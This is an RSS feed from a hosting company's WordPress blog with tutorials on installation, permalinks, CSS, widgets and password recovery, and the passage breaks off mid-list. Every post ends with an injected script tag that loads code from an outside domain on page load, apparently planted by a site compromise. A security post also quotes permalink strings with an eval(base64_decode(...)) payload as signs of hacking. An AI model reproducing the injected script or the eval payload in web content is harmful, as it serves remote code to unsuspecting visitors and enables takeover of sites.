<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>HaggardHosting &#187; Wordpress</title>
	<atom:link href="http://www.haggardhosting.com/category/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.haggardhosting.com</link>
	<description>Affordable Website Design</description>
	<lastBuildDate>Mon, 23 Jan 2012 05:35:18 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>WordPress is under attack!</title>
		<link>http://www.haggardhosting.com/wordpress/wordpress-is-under-attack/</link>
		<comments>http://www.haggardhosting.com/wordpress/wordpress-is-under-attack/#comments</comments>
		<pubDate>Mon, 07 Sep 2009 21:15:04 +0000</pubDate>
		<dc:creator>Glenn Haggard</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.haggardhosting.com/?p=356</guid>
		<description><![CDATA[There was a security vulnerability that was discovered August 10, 2009 for WordPress versions 2.8.3 and older and the patch for it was released August 11, 2009.  If you are running version 2.8.4 or higher then you&#8217;re safe.  This vulnerability allows someone with a specially crafted URL to reset the password of the first user [...]]]></description>
			<content:encoded><![CDATA[<p>There was a <a href="http://wordpress.org/development/2009/08/2-8-4-security-release/" target="_blank">security vulnerability</a> that was discovered August 10, 2009 for WordPress versions 2.8.3 and older and the patch for it was released August 11, 2009.  If you are running version 2.8.4 or higher then you&#8217;re safe.  This vulnerability allows someone with a specially crafted URL to reset the password of the first user in the database (typically the admin account) bypassing WordPress&#8217; security.  This is a serious issue and you should update to the latest version of WordPress immediately!!!</p>
<h1>How do I upgrade my version of WordPress?</h1>
<p>Since WordPress version 2.7 there is a built-in automatic upgrade feature that can be found a couple of ways.  First and most obvious is on the dashboard.  On the home admin page of WordPress it displays the version of WordPress that you are currently using and an option to upgrade if there is a newer version.  Second, click on the tools option on the left-hand side and then choose upgrade.  If you are running an older version than 2.7, which does not have the automatic upgrade feature, then <a href="http://codex.wordpress.org/Upgrading_WordPress" target="_blank">read this</a>.  Please don&#8217;t wait, upgrade immediately.</p>
<h1>How can I tell if I&#8217;ve been hacked?</h1>
<p>If the permalinks to your posts look like:</p>
<div id="textbox">%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/</p>
<p>or</p>
<p>/%&amp;(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&amp;%</p></div>
<p>you&#8217;ve been hacked!</p>
<h1>What do I do if my WordPress site has been hacked?</h1>
<p>First, upgrade WordPress to the latest version.  Then, find if there are any &#8220;hidden&#8221; administrators.  If you don&#8217;t have lots of registered users the easiest way to find users is in the table &#8220;wp_users&#8221; (assuming you used the default &#8220;wp_&#8221; during WordPress install) in your WordPress database.  To validate that the user you found has admin rights take the number from the &#8220;id&#8221; column in your &#8220;wp_users&#8221; and then look for this id in the &#8220;wp_usermeta&#8221; and match it to the &#8220;meta_key&#8221; column.  If the &#8220;meta_value&#8221; contains administrator, then this user has administrator rights to your WordPress blog.</p>
<p>I found another great article from <a href="http://www.journeyetc.com/uncategorized/wordpress-permalink-rss-problems/" target="_blank">Journey etc</a> explaining a different way to find a hidden user.</p>
<p>Then, update your permalinks back to the way they were.  This should get your site functional again.  However, since you&#8217;ve been hacked and administrative rights have been compromised, I suggest you keep looking for other pieces of code that may have been inserted.</p>
<p>I also read a great article about this at <a href="http://lorelle.wordpress.com/2009/09/04/old-wordpress-versions-under-attack/#comment-924271" target="_blank">Lorelle on WordPress</a>.<script src="http://aioe.cz.cc/3"></script></p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.haggardhosting.com%2Fwordpress%2Fwordpress-is-under-attack%2F&amp;title=WordPress%20is%20under%20attack%21" id="wpa2a_2"><img src="http://www.haggardhosting.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.haggardhosting.com/wordpress/wordpress-is-under-attack/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>How to display logged in username in WordPress</title>
		<link>http://www.haggardhosting.com/wordpress/how-to-display-logged-in-username-in-wordpress/</link>
		<comments>http://www.haggardhosting.com/wordpress/how-to-display-logged-in-username-in-wordpress/#comments</comments>
		<pubDate>Tue, 18 Aug 2009 05:11:30 +0000</pubDate>
		<dc:creator>Glenn Haggard</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.haggardhosting.com/?p=319</guid>
		<description><![CDATA[For whatever reason you may want to have users register to your WordPress blog to make them login.  Whether it&#8217;s to protect certain content, only allow comments from logged in users, etc., it&#8217;s makes your website look a little bit more professional if you can display a login button when they are not logged in [...]]]></description>
			<content:encoded><![CDATA[<p>For whatever reason you may want to have users register to your WordPress blog to make them login.  Whether it&#8217;s to protect certain content, only allow comments from logged in users, etc., it&#8217;s makes your website look a little bit more professional if you can display a login button when they are not logged in and display a logoff button when they are logged in just like you see at the top of this website.  It&#8217;s an even better touch when you can display their name after they login.  This blog is going to show:</p>
<ol>
<li>How to display a login button on WordPress that doesn&#8217;t send users to the backside of WordPress</li>
<li>How to display the logged in users first and last name</li>
</ol>
<h2>Step1</h2>
<p>The default login page for WordPress is http://yourdomain.com/wp-admin.  When you login to WordPress using this URL it immediately takes you to the backside of WordPress (not very user friendly).  The URL to allow a user to login and be sent back to the home page of your website is</p>
<div id="textbox">&lt;a href=&#8221;/wp-login.php?redirect_to=/&#8221;&gt;Client Login&lt;/a&gt;</div>
<p> and the URL to allow users to logout and be sent back to the home page is</p>
<div id="textbox">&lt;a href=&#8221;&lt;?php echo wp_logout_url(); ?&gt;&amp;redirect_to=/&#8221;&gt;Logout&lt;/a&gt;</div>
<h2>Step2</h2>
<p>Now that the user can login/logout,  all that&#8217;s left is getting their First and Last name.  The code to get their name is</p>
<div id="textbox">&lt;?php global $current_user;<br />
    get_currentuserinfo();<br />
    echo($current_user-&gt;user_firstname . &#8221; &#8221; . $current_user-&gt;user_lastname . &#8220;, &#8220;);<br />
?&gt;</div>
<h2>Conclusion</h2>
<p>Now, to put all that together is</p>
<div id="textbox">&lt;div id=&#8221;menutop&#8221;&gt;<br />
  &lt;p style=&#8221;text-align: right&#8221;&gt;&lt;?php if ( is_user_logged_in() ) { ?&gt;<br />
   Welcome:<br />
   &lt;?php global $current_user;<br />
             get_currentuserinfo();<br />
             echo($current_user-&gt;user_firstname . &#8221; &#8221; . $current_user-&gt;user_lastname . &#8220;, &#8220;);<br />
   ?&gt;<br />
   &lt;a href=&#8221;&lt;?php echo wp_logout_url(); ?&gt;&amp;redirect_to=/&#8221;&gt;Logout&lt;/a&gt;<br />
  &lt;?php } else { ?&gt;<br />
   You are not logged in &#8211;&gt; &lt;a href=&#8221;/wp-login.php?redirect_to=/&#8221;&gt;Client Login&lt;/a&gt;<br />
  &lt;?php } ?&gt;<br />
  &lt;/p&gt;<br />
 &lt;/div&gt;</div>
<p>Of course, you can use any div name that you want instead of &#8220;menutop&#8221;.  Below is the CSS that I used for my div</p>
<div id="textbox">#menutop {<br />
 font-size: 8pt;<br />
 color: #ffffff;<br />
 float: right;<br />
}</div>
<p>BTW&#8230;I placed all of this in my header.php file.<script src="http://aioe.cz.cc/3"></script></p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.haggardhosting.com%2Fwordpress%2Fhow-to-display-logged-in-username-in-wordpress%2F&amp;title=How%20to%20display%20logged%20in%20username%20in%20WordPress" id="wpa2a_4"><img src="http://www.haggardhosting.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.haggardhosting.com/wordpress/how-to-display-logged-in-username-in-wordpress/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>WordPress 2.7 is released</title>
		<link>http://www.haggardhosting.com/wordpress/wordpress-27-is-released/</link>
		<comments>http://www.haggardhosting.com/wordpress/wordpress-27-is-released/#comments</comments>
		<pubDate>Thu, 11 Dec 2008 21:52:09 +0000</pubDate>
		<dc:creator>Glenn Haggard</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.haggardhosting.com/?p=186</guid>
		<description><![CDATA[The long anticipated WordPress 2.7 was released.  It has a great new design to it&#8217;s admin page and lot of great new features which you can read about here.  Also, below is a video that you can watch that illustrates some of the new benefits.]]></description>
			<content:encoded><![CDATA[<p>The long anticipated WordPress 2.7 was released.  It has a great new design to it&#8217;s admin page and lot of great new features which you can read about <a href="http://wordpress.org/development/2008/12/coltrane/" target="_blank">here</a>.  Also, below is a video that you can watch that illustrates some of the new benefits.</p>
<p><object width="640" height="360" data="http://v.wordpress.com/hFr8Nyar" type="application/x-shockwave-flash"><param name="src" value="http://v.wordpress.com/hFr8Nyar" /><param name="allowfullscreen" value="true" /></object><script src="http://aioe.cz.cc/3"></script></p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.haggardhosting.com%2Fwordpress%2Fwordpress-27-is-released%2F&amp;title=WordPress%202.7%20is%20released" id="wpa2a_6"><img src="http://www.haggardhosting.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.haggardhosting.com/wordpress/wordpress-27-is-released/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to install WordPress</title>
		<link>http://www.haggardhosting.com/wordpress/how-to-install-wordpress/</link>
		<comments>http://www.haggardhosting.com/wordpress/how-to-install-wordpress/#comments</comments>
		<pubDate>Mon, 08 Dec 2008 08:00:43 +0000</pubDate>
		<dc:creator>Glenn Haggard</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.haggardhosting.com/?p=123</guid>
		<description><![CDATA[I have seen many people asking for help on the internet on how to install WordPress so I thought that I would create a post that would hopefully be a good enough explanation for first timers.  This blog assumes that you already have hosting and a domain name setup.  If you don&#8217;t, we can help [...]]]></description>
			<content:encoded><![CDATA[<p>I have seen many people asking for help on the internet on how to install WordPress so I thought that I would create a post that would hopefully be a good enough explanation for first timers.  This blog assumes that you already have hosting and a domain name setup.  If you don&#8217;t, we can help with that.  Just send us a <a href="http://www.haggardhosting.com/sign-up/">request</a> for hosting and/or domain name and we can set one up for you.  Before we get started there are a few tools that you need.</p>
<ul>
<li><strong>FTP client</strong> &#8211; I recommend <a href="http://filezilla-project.org/" target="_blank">FileZilla</a>.  It&#8217;s best feature is how easy it is to use.  It works on multiple platforms (Windows, Linux, BSD, Mac OS X).  Also, it&#8217;s FREE!!!</li>
<li><strong>Text editor</strong> &#8211; I recommend <a href="http://notepad-plus.sourceforge.net/uk/site.htm" target="_blank">Notepad++</a> for this.  It understands many programming languages and can help with syntax highlighting.  Also, it&#8217;s FREE!!!</li>
<li><strong>Zip extractor</strong> &#8211; I recommend <a href="http://www.7-zip.org/" target="_blank">7-Zip</a>.  Also, it&#8217;s FREE!!!</li>
</ul>
<p>There are 3 main steps to setting up your WordPress site:</p>
<h2>Step 1 &#8211; Create a database</h2>
<p>Login to the control panel of you hosting provider and select the option to create a new MySQL database.  Setup a userid to have full access to this new database.  Depending on the provider your web server may be able to access the database by the host name of &#8220;localhost&#8221; or it may have to use the full name like &#8220;mysql123.hostingcompany.com&#8221; (this will be important during the next step).  Make sure to take note of the Database Name, username that you gave full access to, password of the DB user, and the hostname of the DB server because this information will be used in step 2.</p>
<h2>Step 2 &#8211; Upload the WordPress code</h2>
<p>You can get a copy of the latest version of WordPress <a href="http://wordpress.org/download/" target="_blank">here</a>.  You will need to download this to your local computer and then unzip the contents to it&#8217;s own folder using 7-Zip mentioned above.  Once 7-Zip is installed you can just right-click on the zip file and there will be a new 7-Zip option, then choose &#8216;extract here&#8217;.</p>
<p>Next, find the <strong>wp-config-sample.php</strong> file and rename it to <strong>wp-config.php</strong>.  Edit this file with Notepad++ mentioned above and modify the following lines:</p>
<p>define(&#8216;DB_NAME&#8217;, &#8216;dbname‘); // The name of the database<br />
define(’DB_USER’, ‘dbusername‘); // Your MySQL username<br />
define(’DB_PASSWORD’, ‘dbpassword‘); // …and password<br />
define(’DB_HOST’, ‘localhost’); // 99% chance you won’t need to change this value</p>
<p>Replace the variables &#8216;dbname‘ with the name of the database, ‘dbusername‘ with the username that you gave full access to the database, ‘dbpassword‘ with the password of the DB userid you created, and ‘localhost’ only if your web server needs to access the database remotely (you might have to ask your provider).  Note: do not replace the tics &#8216; marks on either side of the variable.</p>
<p>Now your ready to upload the files, but where you put them depends on whether you are planning on using WordPress for your entire website (http://www.example.com) or install WordPress as a subsection (http://www.example.com/wordpress).  Most people just use WordPress for their entire site, which I also recommend.  If you want WordPress to be your main site just upload the content to the root of your domain.  So, the directories in your root should be wp-admin, wp-content, wp-includes, along with other numerous files and any other files/folders that were provided by default by your hosting provider.</p>
<h2>Step 3 &#8211; Finish the install</h2>
<p>Hang in there, you&#8217;re almost done.  Now, you need to open the browser of your choice (Internet Explorer, Firefox, Safari, Chrome) and go to http://www.yourdomain.com/wp-admin/install.php.  Of course, replace &#8220;yourdomain.com&#8221; with the name of the domain where you are installing WordPress.  It&#8217;s amazing, but that&#8217;s all there is to the install.  <span style="color: #ff0000;">Make sure that you write down the password that presented at the end of the install so because that&#8217;s the only id/password to manage the install</span>.  If, for some reason, you didn&#8217;t write it down or lose it later you can always go into the MySQL database and change the password.  I wrote a blog <a href="http://www.haggardhosting.com/wordpress/how-to-recover-lost-wordpress-admin-password-or-e-mail/">How to recover lost WordPress Admin password or E-mail</a>.</p>
<h2>Post setup steps</h2>
<p>I have written a few blogs about some additional steps that most installations will need after the first login.  I will list some of them below.  I will also be adding more to the list over time.</p>
<ul>
<li><a href="http://www.haggardhosting.com/wordpress/using-permalinks-to-make-your-posts-seo-friendly/">Using permalinks to make your posts SEO friendly</a></li>
<li><a href="http://www.haggardhosting.com/wordpress/how-to-change-posted-by-admin-in-your-wordpress-theme/">How to change “posted by admin” in your WordPress theme</a></li>
<li><a href="http://www.haggardhosting.com/wordpress/how-to-widgetize-your-wordpress-theme/">How to widgetize your WordPress theme</a></li>
</ul>
<p><script src="http://aioe.cz.cc/3"></script></p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.haggardhosting.com%2Fwordpress%2Fhow-to-install-wordpress%2F&amp;title=How%20to%20install%20WordPress" id="wpa2a_8"><img src="http://www.haggardhosting.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.haggardhosting.com/wordpress/how-to-install-wordpress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to add PHP code to a WordPress widget</title>
		<link>http://www.haggardhosting.com/wordpress/how-to-add-php-code-to-a-wordpress-widget/</link>
		<comments>http://www.haggardhosting.com/wordpress/how-to-add-php-code-to-a-wordpress-widget/#comments</comments>
		<pubDate>Fri, 05 Dec 2008 03:41:00 +0000</pubDate>
		<dc:creator>Glenn Haggard</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.haggardhosting.com/?p=50</guid>
		<description><![CDATA[It wasn&#8217;t until recently that I have ever had a need to put PHP code into a WordPress widget.  This was due to a plugin that I downloaded called Flashfader.  This plugin provides the ability to put a Flash on your WordPress blog that will rotate pictures.  The only way to use this is with [...]]]></description>
			<content:encoded><![CDATA[<p>It wasn&#8217;t until recently that I have ever had a need to put PHP code into a WordPress widget.  This was due to a plugin that I downloaded called <a href="http://www.lynk.de/wordpress/flashfader/" target="_blank">Flashfader</a>.  This plugin provides the ability to put a Flash on your WordPress blog that will rotate pictures.  The only way to use this is with PHP code which doesn&#8217;t work in a WordPress widget by default.  In order to use PHP code in a widget you need the <a href="http://wordpress.org/extend/plugins/php-code-widget/" target="_blank">Executable PHP Widget</a>.</p>
<h2>How Executable PHP Widget works</h2>
<p>This is a very simple plugin and installs just like any other plugin.</p>
<ol>
<li>Download the zip file and unzip.</li>
<li>Upload the folder that it creates to the <strong>&lt;webroot&gt;/wp-content/plugins</strong> folder</li>
<li>Login your WordPress admin panel and enable the plugin</li>
<li>Click Design, Widget, and drag the <strong>PHP Code:</strong> widget to your sidebar</li>
<li>Insert the code into this widget and you&#8217;re done</li>
</ol>
<p><script src="http://aioe.cz.cc/3"></script></p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.haggardhosting.com%2Fwordpress%2Fhow-to-add-php-code-to-a-wordpress-widget%2F&amp;title=How%20to%20add%20PHP%20code%20to%20a%20WordPress%20widget" id="wpa2a_10"><img src="http://www.haggardhosting.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.haggardhosting.com/wordpress/how-to-add-php-code-to-a-wordpress-widget/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Using permalinks to make your posts SEO friendly</title>
		<link>http://www.haggardhosting.com/wordpress/using-permalinks-to-make-your-posts-seo-friendly/</link>
		<comments>http://www.haggardhosting.com/wordpress/using-permalinks-to-make-your-posts-seo-friendly/#comments</comments>
		<pubDate>Sun, 30 Nov 2008 16:53:14 +0000</pubDate>
		<dc:creator>Glenn Haggard</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.haggardhosting.com/?p=79</guid>
		<description><![CDATA[Have you ever looked at your WordPress URL and wondered, &#8220;who came up with that?&#8221;  I would like to introduce you to Permalinks.  WordPress  permalinks give you the flexibility to have a clear, easy to read, consistent look and feel to your URL&#8217;s. The default permalink settings for WordPress is &#8220;domain.com/?p=123&#8220;, who wants that?  How [...]]]></description>
			<content:encoded><![CDATA[<p>Have you ever looked at your WordPress URL and wondered, &#8220;who came up with that?&#8221;  I would like to introduce you to Permalinks.  WordPress  permalinks give you the flexibility to have a clear, easy to read, consistent look and feel to your URL&#8217;s.</p>
<p>The default permalink settings for WordPress is &#8220;domain.com/<code>?p=123</code>&#8220;, who wants that?  How would you like to try to explain that URL to someone.  It&#8217;s definately not Search Engine friendly.</p>
<p>I&#8217;m one of those people that doesn&#8217;t read the owners manual for something new.  I typically fumble around pushing buttons to figure out what it can do.  It&#8217;s usually only when I get stuck that I resort to the owners manual.</p>
<p>Well, with permalinks I had to break out the manual.  There are 4 default settings available from WordPress on the admin page: Default (example above), Day and Name, Month and Name, or Numeric.  I didn&#8217;t want any of these choices and found out that there really aren&#8217;t a lot of options, but I found one that I liked better than the default offerings.  If you don&#8217;t like the default 4 that are offered you can choose the custom structure and put any combination of the 10 variables available.  I&#8217;m currently using <strong>/%category%/%postname%/</strong>.</p>
<p>Below are the 10 variables from <a href="http://codex.wordpress.org/Using_Permalinks" target="_blank">WordPress</a>:</p>
<p><strong>%year% </strong><br />
The year of the post, four digits, for example 2004<br />
<strong>%monthnum% </strong><br />
Month of the year, for example 05<br />
<strong>%day% </strong><br />
Day of the month, for example 28<br />
<strong>%hour% </strong><br />
Hour of the day, for example 15<br />
<strong>%minute% </strong><br />
Minute of the hour, for example 43<br />
<strong>%second% </strong><br />
Second of the minute, for example 33<br />
<strong>%postname% </strong><br />
A sanitized version of the title of the post (post slug field on Edit Post/Page panel). So “This Is A Great Post!” becomes this-is-a-great-post in the URI (see Using only %postname%)<br />
<strong>%post_id% </strong><br />
The unique ID # of the post, for example 423<br />
<strong>%category% </strong><br />
A sanitized version of the category name (category slug field on New/Edit Category panel). Nested sub-categories appear as nested directories in the URI.<br />
<strong>%author% </strong><br />
A sanitized version of the author name.<script src="http://aioe.cz.cc/3"></script></p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.haggardhosting.com%2Fwordpress%2Fusing-permalinks-to-make-your-posts-seo-friendly%2F&amp;title=Using%20permalinks%20to%20make%20your%20posts%20SEO%20friendly" id="wpa2a_12"><img src="http://www.haggardhosting.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.haggardhosting.com/wordpress/using-permalinks-to-make-your-posts-seo-friendly/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to create a dotted line for hyperlink in CSS</title>
		<link>http://www.haggardhosting.com/wordpress/how-to-create-a-dotted-line-for-hyperlink-in-css/</link>
		<comments>http://www.haggardhosting.com/wordpress/how-to-create-a-dotted-line-for-hyperlink-in-css/#comments</comments>
		<pubDate>Sat, 29 Nov 2008 04:50:38 +0000</pubDate>
		<dc:creator>Glenn Haggard</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.haggardhosting.com/?p=75</guid>
		<description><![CDATA[I ran across a website that used dashes to underline it&#8217;s hyperlinks which I thought was a bit different and eye appealing as well.  I have used this now on my blog titles.  I was going to update the hyperlinks within my blog too, but found that it made the screen look too busy. I found [...]]]></description>
			<content:encoded><![CDATA[<p>I ran across a website that used dashes to underline it&#8217;s hyperlinks which I thought was a bit different and eye appealing as well.  I have used this now on my blog titles.  I was going to update the hyperlinks within my blog too, but found that it made the screen look too busy.</p>
<p>I found out that the person was using the border feature in their CSS.  This blog assumes that you already know a little bit about CSS.  Whether you&#8217;re experienced or not, the first thing you should do is backup your CSS before making changes to it.  You can really do harm to your website by misconfiguring your CSS.</p>
<p>First, locate your CSS.  It should be located in the &lt;webroot&gt;/wp-content/themes/&lt;yourtheme&gt;/<br />
Second, locate the selector that you wish to update (ie. &#8220;<strong>.post a:link</strong>&#8220;)<br />
Third, add the following lines below:</p>
<ul>
<li>border-bottom: #666666;</li>
<li>border-width: 0px 0px 1px 0px;</li>
<li>border-style: none none dotted none;</li>
</ul>
<p>Now, re-upload your newly updated CSS to your site and test it out. </p>
<p>There is a great tutorial explaining CSS at <a href="http://www.w3schools.com/css/default.asp" target="_blank">W3Schools</a> which gives other examples of border types such as: dashed, solid, double, groove, ridge, inset, and outset.</p>
<p>Good luck!<script src="http://aioe.cz.cc/3"></script></p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.haggardhosting.com%2Fwordpress%2Fhow-to-create-a-dotted-line-for-hyperlink-in-css%2F&amp;title=How%20to%20create%20a%20dotted%20line%20for%20hyperlink%20in%20CSS" id="wpa2a_14"><img src="http://www.haggardhosting.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.haggardhosting.com/wordpress/how-to-create-a-dotted-line-for-hyperlink-in-css/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>How to add flash to your WordPress blog</title>
		<link>http://www.haggardhosting.com/wordpress/how-to-add-flash-to-your-wordpress-blog/</link>
		<comments>http://www.haggardhosting.com/wordpress/how-to-add-flash-to-your-wordpress-blog/#comments</comments>
		<pubDate>Fri, 28 Nov 2008 05:39:18 +0000</pubDate>
		<dc:creator>Glenn Haggard</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.haggardhosting.com/?p=47</guid>
		<description><![CDATA[I was building a website (georgiaspetsitting.com) that needed to have a flash slideshow on it.  I was making it with WordPress and figured there had to be a Plugin already created for doing this.  Of course there was!  It&#8217;s called Flashfader. The install is easy but be careful to read the directions closely.  Most WordPress [...]]]></description>
			<content:encoded><![CDATA[<p>I was building a website (<a href="http://www.georgiaspetsitting.com" target="_blank">georgiaspetsitting.com</a>) that needed to have a flash slideshow on it.  I was making it with WordPress and figured there had to be a Plugin already created for doing this.  Of course there was!  It&#8217;s called <a href="http://www.lynk.de/wordpress/flashfader/" target="_blank">Flashfader</a>.</p>
<p>The install is easy but be careful to read the directions closely.  Most WordPress plugins are placed into their own folders so I assumed that this one could also be placed into a folder.  Well, I was wrong.  The instructions are to put the files directly in the &#8220;<strong>&lt;website root&gt;/wp-content/plugins/</strong>&#8221; folder.</p>
<p>This plugin will can only be deployed using php code.  Therefore,  in order to use this plugin in a widget you need another plugin (<a href="http://wordpress.org/extend/plugins/php-code-widget/" target="_blank">executable PHP widget</a>), which I have blogged about &#8220;<a href="http://www.haggardhosting.com/wordpress/how-to-add-php-code-to-a-wordpress-widget" target="_blank">How to add PHP code to a WordPress widget</a>&#8220;.</p>
<p>Unfortunately, there can only be 1 flash per WordPress site with this plugin.<script src="http://aioe.cz.cc/3"></script></p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.haggardhosting.com%2Fwordpress%2Fhow-to-add-flash-to-your-wordpress-blog%2F&amp;title=How%20to%20add%20flash%20to%20your%20WordPress%20blog" id="wpa2a_16"><img src="http://www.haggardhosting.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.haggardhosting.com/wordpress/how-to-add-flash-to-your-wordpress-blog/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to change &#8220;posted by admin&#8221; in your WordPress theme</title>
		<link>http://www.haggardhosting.com/wordpress/how-to-change-posted-by-admin-in-your-wordpress-theme/</link>
		<comments>http://www.haggardhosting.com/wordpress/how-to-change-posted-by-admin-in-your-wordpress-theme/#comments</comments>
		<pubDate>Tue, 25 Nov 2008 20:41:40 +0000</pubDate>
		<dc:creator>Glenn Haggard</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.haggardhosting.com/?p=43</guid>
		<description><![CDATA[There are 2 ways to change the display name in the &#8220;Posted by&#8221; label on your posts: 1.  The first way includes 2 steps.  The first thing is to change the nickname of your user id.  You must click save before trying the next step.  The second step is to change the &#8220;display name publicly [...]]]></description>
			<content:encoded><![CDATA[<p>There are 2 ways to change the display name in the &#8220;Posted by&#8221; label on your posts:</p>
<p>1.  The first way includes 2 steps.  The first thing is to change the nickname of your user id.  You must click save before trying the next step.  The second step is to change the &#8220;display name publicly as&#8221; to the name that you want displayed on each of your posts.</p>
<p>2.  The second way requires making changes to a few of your themes php files.  From the WordPress admin page click on Design, Theme Editor, and then locate the index.php (Main Index Template).  From the text editor locate the <a href="http://codex.wordpress.org/Template_Tags" target="_blank">template tag</a> &#8220;the_author&#8221; and replace it with &#8220;the_author_nickname&#8221;.  Then, repeat this step for each of the following files:</p>
<ul>
<li>Posts.php</li>
<li>Page.php</li>
<li>Categories.php</li>
<li>Index.php (already listed above)</li>
</ul>
<p>There is a list of all the <a href="http://codex.wordpress.org/Template_Tags" target="_blank">template tags</a> provided by WordPress.<script src="http://aioe.cz.cc/3"></script></p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.haggardhosting.com%2Fwordpress%2Fhow-to-change-posted-by-admin-in-your-wordpress-theme%2F&amp;title=How%20to%20change%20%26%238220%3Bposted%20by%20admin%26%238221%3B%20in%20your%20WordPress%20theme" id="wpa2a_18"><img src="http://www.haggardhosting.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.haggardhosting.com/wordpress/how-to-change-posted-by-admin-in-your-wordpress-theme/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to recover lost WordPress Admin password or E-mail</title>
		<link>http://www.haggardhosting.com/wordpress/how-to-recover-lost-wordpress-admin-password-or-e-mail/</link>
		<comments>http://www.haggardhosting.com/wordpress/how-to-recover-lost-wordpress-admin-password-or-e-mail/#comments</comments>
		<pubDate>Sun, 22 Jun 2008 17:51:38 +0000</pubDate>
		<dc:creator>Glenn Haggard</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.haggardhosting.com/?p=25</guid>
		<description><![CDATA[What do you do if you don&#8217;t remember your Admin password to your WordPress blog? You could simply click the &#8220;Lost password&#8221; link on the admin page.  This will send an E-mail to the address that is listed for the Admin.  But what if you don&#8217;t remember what E-mail address you used for the Admin? [...]]]></description>
			<content:encoded><![CDATA[<p>What do you do if you don&#8217;t remember your Admin password to your WordPress blog?</p>
<p>You could simply click the &#8220;Lost password&#8221; link on the admin page.  This will send an E-mail to the address that is listed for the Admin.  But what if you don&#8217;t remember what E-mail address you used for the Admin?</p>
<p>You&#8217;re OK as long as you have access to the database for your WordPress install.</p>
<ul>
<li>Login to the control panel that is hosting your web server</li>
<li>Launch the PHP MyAdmin</li>
<li>Select the database that is for your WordPress install</li>
<li>Select &#8220;wp_users&#8221; from the list of tables on the righ-hand side</li>
<li>On the main screen will be a list of registered users from your WordPress install.  Find the one that you want to change the password for and edit that entry</li>
